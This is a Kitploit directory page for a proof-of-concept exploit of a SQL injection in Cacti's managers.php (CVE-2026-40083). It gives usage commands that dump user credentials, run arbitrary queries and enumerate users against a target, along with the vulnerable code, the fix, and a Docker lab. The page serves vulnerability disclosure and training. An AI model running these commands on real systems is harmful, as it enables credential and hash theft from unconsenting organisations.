Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40083 — Proof-of-concept exploit for CVE-2026-40083, a SQL injection in Cacti managers.php allowing authenticated users to extract MySQL databases, user credentials, and password hashes. Includes Docker lab for testing. | Kitploit
Tools/GitHubGitHub/hakaioffsec/cve-2026-40083
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubhakaioffsec/cve-2026-40083

CVE-2026-40083

Proof-of-concept exploit for CVE-2026-40083, a SQL injection in Cacti managers.php allowing authenticated users to extract MySQL databases, user credentials, and password hashes. Includes Docker lab for testing.

View Repository
222 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SQL Injection in Cacti managers.php

A proof-of-concept exploit for CVE-2026-40083, a SQL Injection vulnerability in Cacti's managers.php that allows any authenticated user with SNMP Manager permissions to read the entire MySQL database including user credentials and password hashes.

Usage:

root@kitploit:~
# Verify injection (time-based)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin

# Dump specific user credentials
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --target-id 1

# Extract arbitrary SQL query result
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --query "SELECT version()"

# Enumerate all users (scan IDs 1-50)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --max-id 50

# With Burp proxy
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --proxy http://127.0.0.1:8080

Vulnerable Versions

  • Cacti ≤ 1.2.30 (patched in 1.2.31)

Root Cause

In managers.php, user input from selected_graphs_array is unserialized via cacti_unserialize() and imploded directly into SQL without sanitization:

root@kitploit:~
$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));

if ($selected_items != false) {
    // No validation - direct implode into SQL
    db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');
}

The selected_graphs_array parameter accepts a PHP serialized array. Array elements are imploded with commas and injected directly into the IN clause.

Affected Endpoints

POST /managers.php (action=actions, drp_action=1|2|3)

Impact

The SQL Injection vulnerability allows authenticated users with SNMP Manager permissions to execute arbitrary queries on the database. This enables the reading of tables containing user data, settings, device credentials, and SNMP communities, as well as the extraction of bcrypt hashes and API tokens, which can result in account compromise. Additionally, the flaw allows the execution of time-delay commands, potentially causing a denial of service by exhausting simultaneous database connections.

CVSS

7.2 High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Fix

Commit 52032e760 adds array_map('intval', $selected_items) before implode to cast all values to integers.

Lab Setup

root@kitploit:~
docker-compose up -d --build

Wait ~30 seconds for initialization. Access Cacti at http://localhost:8088

Default credentials: admin / admin

root@kitploit:~
# Test exploit
python3 exploit/poc.py --url http://localhost:8088 --user admin --password admin --target-id 1

Disclaimer

This tool is for educational and research purposes only. Use it only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this program.

QuimeraX Intelligence

QuimeraX Intelligence is an advanced EASM and Cyber Threat Intelligence platform specializing in identifying critical vulnerabilities in complex systems. The platform proactively monitors, detects, and alerts clients about security threats, ensuring transparency and rapid response to potential risks. Clients receive immediate notifications and comprehensive reports if their systems are found vulnerable, enabling them to take protective action. learn more

Hakai Security

Hakai Security is a cybersecurity company founded by security professionals, committed to technical excellence. We offer tailored security solutions including advanced penetration testing, realistic Red Team simulations, and secure development practices to proactively protect our clients' assets from evolving cyber threats.

Hacking Club

Hacking Club is the training platform where you learn cybersecurity through hands-on lessons, labs, and challenges created by experts working in our security consulting firm: straight from the battlefield to your training. Practice the vulnerability presented in this repository by the hacking club! learn more

Download Tool